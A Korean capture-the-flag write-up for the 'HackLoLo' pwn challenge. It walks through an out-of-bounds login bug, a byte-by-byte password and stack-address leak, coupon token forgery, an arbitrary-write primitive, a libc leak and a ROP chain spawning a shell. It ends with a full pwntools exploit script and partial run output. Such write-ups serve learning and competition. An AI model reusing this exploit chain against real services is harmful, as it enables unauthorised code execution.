문제개요
HackLoLo
Score : 305
Solve : 8
Category : Pwn
Servers : 35.200.72.53 9999
Connect :
$ stty raw -echo; nc 35.200.72.53 9999
Terminal recovery :
'reset' or 'stty sane'
Note
- 팀원들 단체로 레이드 뛰어서 해결한 문제
- 오랜만에 일반부 퍼블
Files
.
├── Dockerfile
├── README.md
├── desc.txt
├── docker-compose.yml
├── flag
├── game
└── nsjail.cfg
1. Analysis (game)
파일 정보
- x64 elf binary
- IDA Pro를 사용하여 분석
$ file game
game: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=15e168c551f03a36515933a318fe11606128ff98, for GNU/Linux 3.2.0, stripped
checksec
$ checksec --file=game
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2
1.1. Concept
실행 화면 (기본)
- 콘솔 게임 컨셉의 바이너리
- 메뉴를 출력하고 사용자의 입력에 해당하는 기능을 실행
$ ./game
-----------------------------------------------
Welcome!
-----------------------------------------------
-----------------------------------------------
1. Join
2. Login
3. Quit
----------------------------------------------
Choice :
실행 화면 - 1. Join (Before login)
id
,password
,email
,age
를 입력하여 회원가입
-----------------------------------------------
1. Join
2. Login
3. Quit
----------------------------------------------
Choice :
1
1. Id:
pwn3r
1. Pw:
pwn3r
1. Email:
pwn3r@pwn.3r
1. Age:
45
[*] A membership sign-up coupon has been issued : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE2MjM4NTYsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9._uh0EY7e-4umuPSt3jEN_MMIK8O5MILDjISy456wqL8
실행 화면 - 2. Login (Before login)
- 가입할 때 사용한
id
,password
를 사용하여 로그인
-----------------------------------------------
1. Join
2. Login
3. Quit
----------------------------------------------
Choice :
2
id:
pwn3r
pw:
pwn3r
[*] Login Success. Hello, pwn3r
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice :
실행 화면 - 2. Play Game (After login)
- 방향키로 Player(
O
)를 움직이며, Item(I
)을 먹고, Enemy(E
)를 공격해야 함 - 기본적으로는 Player의 능력치가 매우 낮기 때문에 모든 아이템을 먹어도 Enemy를 이길 수 없음
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice : 2
Player HP: 100, Attack: 20, Defense:0 | Enemy HP: 1260, Attack: 102
Moving key : WASD | Attack : F
########################################################################
# #
# E #
# I #
# I #
# I #
# I #
# #
# #
# #
# #
# #
# #
# #
# I #
# O #
# #
# #
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|----------------------------------------|
실행 화면 - 3. Apply coupon (After login)
- 가입 시 발급받은 쿠폰을 등록하여 player의 능력치를 강화
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice :
3
[*] Enter your coupon :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE2MjM4NTYsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9._uh0EY7e-4umuPSt3jEN_MMIK8O5MILDjISy456wqL8
You have successfully used the coupon. Attack power has been upgraded.
실행 화면 - 4. Coupon usage history (After login)
- 사용된 쿠폰의 해시를 출력
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice :
4
-----------------------------------------------
baaeb6570a5f460c4f35cbbd1b0f6d74780a3b57b50af82431392be18393103d
-----------------------------------------------
실행 화면 - 5. Change your PW / 6. Print your Information (After login)
- 로그인한 사용자가 regular user가 아닐 경우 패스워드 변경 및 사용자 정보 출력 불가
-----------------------------------------------
..........................
5. Change your PW
..........................
-----------------------------------------------
Choice :
5
[*] You are not a regular member. Win one game to become a regular member.
-----------------------------------------------
..........................
6. Print your Information
-----------------------------------------------
Choice :
6
[*] You are not a regular member. Win one game to become a regular member.
1.2. Structures
struct user_info
00000000 user_info struc ; (sizeof=0x68, mappedto_40)
00000000 password string ?
00000020 username string ?
00000040 mail string ?
00000060 age dq ?
00000068 user_info ends
struct user_db
00000000 user_db struc ; (sizeof=0xD70, mappedto_44)
00000000 ; XREF: main/r
00000000 users user_info 32 dup(?)
00000D00 users_ptr dq ?
00000D08 reg_users_count dq ?
00000D10 login_try_count dq ?
00000D18 login_flag dd ?
00000D1C field_D1C dd ?
00000D20 welcome_message string ?
00000D40 cur_user_info_ptr dq ?
00000D48 login_success_count dq ?
00000D50 jwt_signature string ?
00000D70 user_db ends
1.3. Vulnerability (Out-of-bound memory access)
- 사용자 정보 저장하는 user_list는 32개이지만, 로그인 기능에서 총 33개의 객체를 순회하기 때문에 user_list 뒤에 있는
"Welcome!
"을 username으로 로그인할 수 있음
v1 = std::operator<<<std::char_traits<char>>();
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::operator>><char>(&std::cin, &userid);
v2 = std::operator<<<std::char_traits<char>>();
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
std::operator>><char>(&std::cin, &userpw);
for ( i = 0; i <= 32; ++i ) // <============ improper loop boundary
{
get_user_name(&v15, &user_db->users[i].password); // <============ OOB when i == 32
v3 = std::operator==<char>((__int64)&v15, (__int64)&userid);
std::string::~string(&v15);
if ( v3 )
{
std::allocator_traits<std::allocator<std::_List_node<int>>>::select_on_container_copy_construction(
(char *)v16,
(char *)&user_db->users[i]);
v4 = std::operator==<char>((__int64)v16, (__int64)&userpw);
std::string::~string(v16);
if ( v4 )
{
user_db->cur_user_info = (__int64)&user_db->users[i];
get_user_name(&v14, &user_db->users[i].password);
std::operator+<char>((__int64)&v15, (__int64)"[*] Login Success. Hello, ", (__int64)&v14);
std::operator+<char>((__int64)v16, (__int64)&v15, (__int64)"\r");
v5 = std::operator<<<char>(&std::cout, v16);
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
std::string::~string(v16);
std::string::~string(&v15);
std::string::~string(&v14);
++user_db->login_success_count;
user_db->login_flag = 1;
v6 = 1;
goto LABEL_8;
}
}
}
v7 = std::operator<<<std::char_traits<char>>();
std::operator<<<char>(v7, &userid);
v8 = std::operator<<<std::char_traits<char>>();
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
v6 = 0;
LABEL_8:
std::string::~string(v13);
std::string::~string(&userpw);
std::string::~string(&userid);
users[32]
접근 시 각 멤버변수가user_db
에서 어떠한 멤버변수에 해당하는지 매핑
Offset | users[32] | user_db |
---|---|---|
0x00 | users[32].password.ptr |
user_db.users_ptr |
0x08 | users[32].password.size |
user_db.reg_users_count |
0x10 | users[32].password.data[0:8] |
user_db.login_try_count |
0x18 | users[32].password.data[8:16] |
user_db.login_flag |
0x20 | users[32].username.ptr |
user_db.welcome_message.ptr |
0x28 | users[32].username.size |
user_db.welcome_message.size |
0x30 | users[32].username.data[0:8] |
user_db.welcome_message.data[0:8] |
0x38 | users[32].username.data[8:16] |
user_db.welcome_message.data[8:16] |
0x40 | users[32].email.ptr |
user_db.cur_user_info_ptr |
0x48 | users[32].email.size |
user_db.login_success_count |
0x50 | users[32].email.data[0:8] |
user_db.jwt_token.ptr |
.... | ................................ | ......................... |
- 바이너리 초기에 설정된
user_db.welcome_message
가user_info.username
으로 사용됨
std::string::operator=(&database->jwt_signature, v5);
std::string::~string(v5);
database->users_ptr = (__int64)&database->users[database->reg_users_count++];
std::string::operator=(&database->welcome_message, "Welcome!"); // Initialize `user_db->welcome_message`
return v6 - __readfsqword(0x28u);
}
user_db.users_ptr
은user[32].password.ptr
로 사용됨user_db.reg_users_count
은 가입한 사용자의 수로user[32].password.size
로 사용됨user_db.reg_users_count
의 초기값은 1임 ("admin" user)
=> 패스워드는user_db.users_ptr
이 가리키는 값(admin password 주소)의 하위 1byte로 인식되므로 0~255까지 브루트포스하여 "Welcome!" username으로 로그인할 수 있음
RAX: 0x7fffffffd090 --> 0x7fffffffd0a0 --> 0x7fffffff00f0 --> 0x0
RBX: 0x1
RCX: 0x7fffffffd0a0 --> 0x7fffffff00f0 --> 0x0
RDX: 0x7fffffffd010 --> 0x7fffffffd020 --> 0x61 ('a')
RSI: 0x7fffffffd010 --> 0x7fffffffd020 --> 0x61 ('a')
RDI: 0x7fffffffd090 --> 0x7fffffffd0a0 --> 0x7fffffff00f0 --> 0x0
RBP: 0x7fffffffd0d0 --> 0x7fffffffdf80 --> 0x1
RSP: 0x7fffffffcfd0 --> 0x7fffffffd050 --> 0x7ffff782b618 (:string::_Rep::_S_empty_rep_storage+24>: 0x0000000000000000)
RIP: 0x55555555bac1 (call 0x55555556443e)
R8 : 0x0
R9 : 0x7ffff7829670 (:cin+16>: 0x00007ffff78228f8)
R10: 0x7ffff7613b10 --> 0xf0012000048da
R11: 0x246
R12: 0x7fffffffe098 --> 0x7fffffffe368 ("/home/user/gits/ctf_45/linectf24/hacklolo/work/game")
R13: 0x555555577d3e (endbr64)
R14: 0x5555555922d0 --> 0x55555555b320 (endbr64)
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x3010102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555bab7: lea rax,[rbp-0x40]
0x55555555babb: mov rsi,rdx
0x55555555babe: mov rdi,rax
=> 0x55555555bac1: call 0x55555556443e
0x55555555bac6: mov ebx,eax
0x55555555bac8: lea rax,[rbp-0x40]
0x55555555bacc: mov rdi,rax
0x55555555bacf: call 0x55555555a950 <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
Guessed arguments:
arg[0]: 0x7fffffffd090 --> 0x7fffffffd0a0 --> 0x7fffffff00f0 --> 0x0
arg[1]: 0x7fffffffd010 --> 0x7fffffffd020 --> 0x61 ('a')
arg[2]: 0x7fffffffd010 --> 0x7fffffffd020 --> 0x61 ('a')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcfd0 --> 0x7fffffffd050 --> 0x7ffff782b618 (:string::_Rep::_S_empty_rep_storage+24>: 0x0000000000000000)
0008| 0x7fffffffcfd8 --> 0x7fffffffd1e0 --> 0x7fffffffd1f0 ("AOctV89e")
0016| 0x7fffffffcfe0 --> 0x7fffffffffffffff
0024| 0x7fffffffcfe8 --> 0x20ffffd03a
0032| 0x7fffffffcff0 --> 0x7fffffffd000 ("Welcome!")
0040| 0x7fffffffcff8 --> 0x8
0048| 0x7fffffffd000 ("Welcome!")
0056| 0x7fffffffd008 --> 0x7fffffffd000 ("Welcome!")
[------------------------------------------------------------------------------]
2. Exploitation
Debugging Tip
- pwntools 사용 시
interactive()
이후 출력이 안되는 문제가 있으므로,context.log_level
을 낮추어 receive 데이터 확인
from pwn import *
context.log_level = 'debug'
............
[DEBUG] Received 0x12a bytes:
00000000 5b 2a 5d 20 4c 6f 67 69 6e 20 53 75 63 63 65 73 │[*] │Logi│n Su│cces│
00000010 73 2e 20 48 65 6c 6c 6f 2c 20 57 65 6c 63 6f 6d │s. H│ello│, We│lcom│
00000020 65 21 0d 0a 1b 5b 32 6d 2d 2d 2d 2d 2d 2d 2d 2d │e!··│·[2m│----│----│
00000030 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d │----│----│----│----│
*
00000110 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 43 │----│----│----│-··C│
00000120 68 6f 69 63 65 20 3a 20 0d 0a │hoic│e : │··│
2.1. Memory leak (stack)
- 앞서 언급한 바와 같이
user_db.users_ptr
은users[32].password.ptr
로 사용됨 +user_db.reg_users_count
은 가입한 사용자의 수이므로, Join 메뉴를 통해 계정을 1개씩 추가하면서Welcome!
계정의 패스워드를 1byte씩 추가하며 브루트포스하면user_db.users_ptr
가 가리키는 스택 메모리 주소 및 admin 계정의 패스워드를 알아낼 수 있음
cur_password = b''
login_flag = False
bounary = 16 + 8
for index in range(0, bounary):
prefix = cur_password
for byte in range(0x0, 0x100):
if byte in [ord('\t'), ord('\r'), ord('\n'), ord(' '), ord('\x0b'), ord('\x0c')]:
continue
login_flag = login('Welcome!', prefix + p8(byte))
if login_flag:
cur_password = prefix + p8(byte)
logout()
break
if not login_flag:
p.close()
exit()
if index != bounary - 1:
join(str(index), str(index), str(index), index)
print(index, hexlify(cur_password))
print(len(cur_password))
stack_leak = u64(cur_password[0:8]) - 0x10 # start address of `user_list`
print('stack_leak (start of user_list) : ', hex(stack_leak))
print('original password length : ', hex(u64(cur_password[8:16])))
print('admin password : ', cur_password[16:16+8])
1 b'40a5'
2 b'40a585'
3 b'40a5858e'
4 b'40a5858efc'
5 b'40a5858efc7f'
6 b'40a5858efc7f00'
7 b'40a5858efc7f0000'
8 b'40a5858efc7f000008'
9 b'40a5858efc7f00000800'
10 b'40a5858efc7f0000080000'
11 b'40a5858efc7f000008000000'
12 b'40a5858efc7f00000800000000'
13 b'40a5858efc7f0000080000000000'
14 b'40a5858efc7f000008000000000000'
15 b'40a5858efc7f00000800000000000000'
16 b'40a5858efc7f0000080000000000000058'
17 b'40a5858efc7f000008000000000000005847'
18 b'40a5858efc7f0000080000000000000058476d'
19 b'40a5858efc7f0000080000000000000058476d79'
20 b'40a5858efc7f0000080000000000000058476d796d'
21 b'40a5858efc7f0000080000000000000058476d796d75'
22 b'40a5858efc7f0000080000000000000058476d796d7536'
23 b'40a5858efc7f0000080000000000000058476d796d75367a'
24
stack_leak (start of user_list) : 0x7ffc8e85a530
original password length : 0x8
admin password : b'XGmymu6z'
2.2. Coupon counterfeiting
- 뒤에서 AAW(Arbitrary Address Write) 프리미티브를 얻기 위해서는
5. Change your PW
기능을 활성화 해야함 5. Change your PW
기능 활성화를 위해서는 게임에서 enemy를 처치하여 regular user로 등록되어야 함- 하지만 게임 상에서 player의 기본 능력치는 매우 낮기 때문에, 쿠폰 등록 기능을 활용한 능력치 강화가 필요
- 팀원 중 한분이 쿠폰의 마지막 문자를 변경하면 최대 4개까지 쿠폰을 추가할 수 있음을 확인 (* 대회 중에 원인을 파악하진 못함. 추후 리버싱해서 추가예정)
$ ./game
-----------------------------------------------
Welcome!
-----------------------------------------------
-----------------------------------------------
1. Join
2. Login
3. Quit
----------------------------------------------
Choice :
1
1. Id:
pwn3r
2. Pw:
pwn3r
3. Email:
pwn3r
4. Age:
45
[*] A membership sign-up coupon has been issued : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq4
-----------------------------------------------
1. Join
2. Login
3. Quit
----------------------------------------------
Choice :
2
id:
pwn3r
pw:
pwn3r
[*] Login Success. Hello, pwn3r
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice :
3
[*] Enter your coupon :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq4
You have successfully used the coupon. Attack power has been upgraded.
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice :
3
[*] Enter your coupon :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq5
You have successfully used the coupon. Attack power has been upgraded.
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice :
3
[*] Enter your coupon :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq6
You have successfully used the coupon. Attack power has been upgraded.
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice :
3
[*] Enter your coupon :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq7
You have successfully used the coupon. Attack power has been upgraded.
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice :
3
[*] Enter your coupon :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq8
[*] Wrong Coupon.
for i in range(0, 4):
Apply_Token(coupon[:-1] + chr(coupon[-1]+i).encode())
2.3. Game
- 4장의 쿠폰으로 player의 능력치를 강화한 후 item을 모두 먹고 enemy를 공격하면 게임에 승리할 수 있음
- 팀원 중 알고리즘 장인 분께서 자동으로 게임해결해주는 코드를 작성
def map_solver(Iloc, Ep, Op):
Ep = Ep[0]
Op = Op[0]
output = ""
def mnhdist(p1, p2):
return abs(p1[0]-p2[0])+abs(p1[1]-p2[1])
for i in range(mnhdist(Ep, Op) - 1):
output += "q"
for i in range(16-Op[0]):
output += "s"
Op = (16, Op[1])
clock = [{}, {}] # 0 : clock, 1: counter
C = 0
for i in range(69):
clock[0][(0, i)] = (0, i+1)
clock[1][(16, i)] = (16, i+1)
clock[0][(16, i+1)] = (16, i)
clock[1][(0, i+1)] = (0, i)
for i in range(16):
clock[0][(i, 69)] = (i+1, 69)
clock[1][(i, 0)] = (i+1, 0)
clock[0][(i+1, 0)] = (i, 0)
clock[1][(i+1, 69)] = (i, 69)
while True:
if (Iloc[0][1] == Op[1]) and (Op[0] == 0):
for i in range(16):
output += "s"
Op = (16, Op[1])
Iloc = Iloc[1:]
else:
nxt = clock[0][Op]
if nxt[0] > Op[0]:
output += "s"
elif nxt[0] < Op[0]:
output += "w"
elif nxt[1] < Op[1]:
output += "a"
else:
output += "d"
Op = nxt
if len(Iloc) == 0:
break
return output
def readmap():
I = []
E = []
O = []
for __ in range(3):
rline = p.recvuntil(b'\r')
for i in range(18):
rline = p.recvuntil(b'\r')
rline = rline.split(b';')
for v in rline:
if b'HE' in v:
E.append((i, int(v.split(b'HE')[0]) - 2))
if b'HO' in v:
O.append((i, int(v.split(b'HO')[0]) - 2))
if b'HI' in v:
I.append((i, int(v.split(b'HI')[0]) - 2))
if f'\x1b[{i + 4}d#'.encode() in v.split(b' ')[0] and b'I' in v:
I.append((i, int(len(v.split(b'#')[1].split(b'I')[0])) - 1))
p.recvuntil(b'||')
return (I, E, O)
p.sendlineafter(b'Choice : \r', b'2')
readmap()
readmap()
I, E, O = readmap()
print(I, E, O)
output = map_solver(I, E, O)
for move in output:
p.send(move.encode())
screen = p.recvuntil(b'||')
while 1:
p.send(b'f')
screen = p.recvuntil(b'||')
if b'Game Over!' in screen:
p.sendline(b'0')
break
response = p.recvuntil(b':')
if b'Choice' in response and b'Would you like to become a regular member?' not in response:
print('game over')
exit(-1)
p.sendline(b'Y')
2.4. Arbitrary Address Write Primitive
- 아래와 같은 방법으로 AAW primitive를 구현할 수 있음
1) 앞서 언급한 바와 같이 user_db.users_ptr
은 users[32].password.ptr
로 사용되므로 "Welcome!" 사용자의 패스워드를 변경하면 &users[0].password
에 있는 포인터 값이 변경됨. 공격자는 "Welcome!" 사용자의 패스워드를 destination address로 변경 (이때, size 필드를 write할 데이터의 사이즈로 조작해야 함)
login('Welcome!', '~~~~')
change_pw(p64(stack_leak+0xd48) + p32(2)) # destination address, size to write
logout()
2) "Welcome!" 사용자 로그아웃 후 "admin"으로 로그인하여 패스워드 변경하면 공격자가 지정한 destination address에 원하는 데이터를 write 가능 (단, "admin" 로그인 시 (1)에서 조작한 destination address가 가리키는 데이터를 패스워드로 입력해야 하므로, 공격자는 destination address가 가리키는 곳에 있는 데이터를 미리 알고있어야 한다는 전제조건이 있음)
login('admin', p16(0x19)) # (destination address)[:size to write]
change_pw(p16(0x300)) # overwrite
logout()
2.5. libc leak
- AAW로
users[32].email.size
필드를0x300
으로 조작하여 스택 메모리를 덤프 -> libc 주소 획득
login('Welcome!', cur_password + p8(0))
..........................
change_pw(p64(stack_leak+0xd48) + p32(2)) # user_list[0].pw = user_list[32].email.size
logout()
login('admin', p16(0x19)) # current login count
change_pw(p16(0x300)) # user_list[32].email.size = 0x300
logout()
login('Welcome!', p64(stack_leak+0xd48) + p32(2))
info = my_info()
libc = ELF('./libc.so.6')
libc_base = u64(info['email'][0xa8:0xa8+8]) - 0x29d90
*** 대회 중에는 놓쳤던 부분이지만 user_db.login_success_count
가 users[32].email.size
로 사용되기 때문에, 굳이 AAW를 사용하지 않고 로그인을 여러번 시도 후 6. Print your Information
기능을 사용하는 것만으로도 stack 내 libc address leak이 가능했음 :(
libc leak에 많은 시간을 쓰지 않아서 다행 ***
Offset | users[32] | user_db |
---|---|---|
.... | ................................ | ......................... |
0x40 | users[32].email.ptr |
user_db.cur_user_info_ptr |
0x48 | users[32].email.size |
user_db.login_success_count |
0x50 | users[32].email.data[0:8] |
user_db.jwt_token.ptr |
.... | ................................ | ......................... |
2.6. Overwrite ROP Payload
- libc, stack 주소를 알고있으며 , AAW 프리미티브를 가지고 있으므로 stack return address를 overwrite 하여
system("/bin/sh");
호출 - alignment를 맞춰주기 위해 ret 가젯 추가
libc = ELF('./libc.so.6')
libc_base = u64(info[0xa8:0xa8+8]) - 0x29d90
print(hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system']
pop_rdi = libc_base + 0x000000000002a3e5
ret = pop_rdi + 1
rop = b''
rop += p64(ret)*5
rop += p64(pop_rdi)
rop += p64(binsh)
rop += p64(system)
change_pw(p64(stack_leak + 0xda8)+p16(len(rop)))
logout()
print(info[0xa8:0xa8+len(rop)])
login('admin', info[0xa8:0xa8+len(rop)])
change_pw(rop)
input('>>>>>>>')
logout()
input('!!!!!!!')
login('Welcome!', p64(stack_leak + 0xda8)+p16(len(rop)))
change_pw(p64(stack_leak + 0x10)+p16(8))
2.9. return
- rip 컨트롤을 위해
3. Quit
기능을 사용하여main()
함수에서 return
python
logout()
quit()
s.interactive()
3. Exploit
3.1. exploit.py
- 전체 exploit 코드는 아래와 같다.
from pwn import *
from binascii import hexlify, unhexlify
context.terminal = ['tmux', 'new-window']
context.newline = b'\r\n'
def join(id, pw, email, age):
p.sendlineafter(b'Choice : ', b'1')
p.sendlineafter(b'Id:', id.encode())
p.sendlineafter(b'Pw:', pw.encode())
p.sendlineafter(b'Email:', email.encode())
p.sendlineafter(b'Age:', str(age).encode())
p.recvuntil(b'[*] A membership sign-up coupon has been issued : ')
coupon = p.recvuntil(b'\r').strip()
return coupon
def login(id, pw):
p.sendlineafter(b'Choice : \r', b'2')
p.sendlineafter(b'id:\r', id.encode())
p.sendlineafter(b'pw:\r', pw)
if b'Success' in p.recvline():
return True
else:
return False
def my_info():
context.newline = b'\n'
p.sendlineafter(b'Choice : \r', b'6')
p.recvuntil(b'id :')
user_id = p.recvline().strip()
p.recvuntil(b'age :')
user_age = p.recvline().strip()
p.recvuntil(b'email :')
user_email = p.recvline().strip()
context.newline = b'\r\n'
return {'id':user_id, 'age':user_age, 'email':user_email}
def logout():
p.sendlineafter(b'Choice : ', b'1')
def quit():
ru(b'Choice : \r')
sl(b'3')
def Apply_Token(token):
p.sendlineafter(b'Choice : ', b'3')
p.sendlineafter(b'coupon : ', token)
def map_solver(Iloc, Ep, Op):
Ep = Ep[0]
Op = Op[0]
output = ""
def mnhdist(p1, p2):
return abs(p1[0]-p2[0])+abs(p1[1]-p2[1])
for i in range(mnhdist(Ep, Op) - 1):
output += "q"
for i in range(16-Op[0]):
output += "s"
Op = (16, Op[1])
clock = [{}, {}] # 0 : clock, 1: counter
C = 0
for i in range(69):
clock[0][(0, i)] = (0, i+1)
clock[1][(16, i)] = (16, i+1)
clock[0][(16, i+1)] = (16, i)
clock[1][(0, i+1)] = (0, i)
for i in range(16):
clock[0][(i, 69)] = (i+1, 69)
clock[1][(i, 0)] = (i+1, 0)
clock[0][(i+1, 0)] = (i, 0)
clock[1][(i+1, 69)] = (i, 69)
while True:
if (Iloc[0][1] == Op[1]) and (Op[0] == 0):
for i in range(16):
output += "s"
Op = (16, Op[1])
Iloc = Iloc[1:]
else:
nxt = clock[0][Op]
if nxt[0] > Op[0]:
output += "s"
elif nxt[0] < Op[0]:
output += "w"
elif nxt[1] < Op[1]:
output += "a"
else:
output += "d"
Op = nxt
if len(Iloc) == 0:
break
return output
def readmap():
I = []
E = []
O = []
for __ in range(3):
rline = p.recvuntil(b'\r')
for i in range(18):
rline = p.recvuntil(b'\r')
rline = rline.split(b';')
for v in rline:
if b'HE' in v:
E.append((i, int(v.split(b'HE')[0]) - 2))
if b'HO' in v:
O.append((i, int(v.split(b'HO')[0]) - 2))
if b'HI' in v:
I.append((i, int(v.split(b'HI')[0]) - 2))
if f'\x1b[{i + 4}d#'.encode() in v.split(b' ')[0] and b'I' in v:
I.append((i, int(len(v.split(b'#')[1].split(b'I')[0])) - 1))
p.recvuntil(b'||')
return (I, E, O)
def change_pw(new_pw):
context.newline = b'\n'
p.sendlineafter(b'Choice : \r', b'5')
p.sendlineafter(b'PW? : \r', b'Y')
p.sendlineafter(b'PW : \r', new_pw)
context.newline = b'\r\n'
#p = process("./game", stdout=PIPE, stdin=PIPE, stderr=PIPE)
#p = remote("35.200.72.53", 9999)
p = remote('127.0.0.1', 9999)
ru = p.recvuntil
rl = p.recvline
rr = p.recv
sl = p.sendline
ss = p.send
cur_password = b''
login_flag = False
bounary = 16 + 8
for index in range(0, bounary):
prefix = cur_password
for byte in range(0x0, 0x100):
if byte in [ord('\t'), ord('\r'), ord('\n'), ord(' '), ord('\x0b'), ord('\x0c')]:
continue
login_flag = login('Welcome!', prefix + p8(byte))
if login_flag:
cur_password = prefix + p8(byte)
logout()
break
if not login_flag:
p.close()
exit()
if index != bounary - 1:
join(str(index), str(index), str(index), index)
print(index, hexlify(cur_password))
print(len(cur_password))
stack_leak = u64(cur_password[0:8]) - 0x10 # start address of `user_list`
print('stack_leak (start of user_list) : ', hex(stack_leak))
print('original password length : ', hex(u64(cur_password[8:16])))
print('admin password : ', cur_password[16:16+8])
coupon = join('Welcome!', '1', '1', 1)
print(f'coupon: {coupon}')
login('Welcome!', cur_password + p8(0))
for i in range(0, 4):
Apply_Token(coupon[:-1] + chr(coupon[-1]+i).encode())
p.sendlineafter(b'Choice : \r', b'2')
readmap()
readmap()
I, E, O = readmap()
print(I, E, O)
output = map_solver(I, E, O)
for move in output:
p.send(move.encode())
screen = p.recvuntil(b'||')
while 1:
p.send(b'f')
screen = p.recvuntil(b'||')
if b'Game Over!' in screen:
p.sendline(b'0')
break
response = p.recvuntil(b':')
if b'Choice' in response and b'Would you like to become a regular member?' not in response:
print('game over')
exit(-1)
p.sendline(b'Y')
change_pw(p64(stack_leak+0xd48) + p32(2)) # user_list[0].pw = user_list[32].email.size
logout()
login('admin', p16(0x19)) # current login count
change_pw(p16(0x300)) # user_list[32].email.size = 0x300
logout()
login('Welcome!', p64(stack_leak+0xd48) + p32(2))
info = my_info()
libc = ELF('./libc.so.6')
libc_base = u64(info['email'][0xa8:0xa8+8]) - 0x29d90
print(hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system']
pop_rdi = libc_base + 0x000000000002a3e5
ret = pop_rdi + 1
rop = b''
rop += p64(ret)*5
rop += p64(pop_rdi)
rop += p64(binsh)
rop += p64(system)
change_pw(p64(stack_leak + 0xda8)+p32(len(rop)))
logout()
login('admin', info['email'][0xa8:0xa8+len(rop)])
change_pw(rop)
logout()
login('Welcome!', p64(stack_leak + 0xda8)+p32(len(rop)))
change_pw(p64(stack_leak + 0x10)+p32(8))
logout()
quit()
p.interactive()
3.2. Run
exploit.py
을 실행하면 아래와 같이 문제 서버의 쉘을 획득할 수 있다.
$ python exploit.py
[+] Opening connection to 127.0.0.1 on port 9999: Done
0 b'10'
1 b'109d'
2 b'109d77'
3 b'109d77d7'
4 b'109d77d7fe'
5 b'109d77d7fe7f'
6 b'109d77d7fe7f00'
7 b'109d77d7fe7f0000'
8 b'109d77d7fe7f000008'
9 b'109d77d7fe7f00000800'
10 b'109d77d7fe7f0000080000'
11 b'109d77d7fe7f000008000000'
12 b'109d77d7fe7f00000800000000'
13 b'109d77d7fe7f0000080000000000'
14 b'109d77d7fe7f000008000000000000'
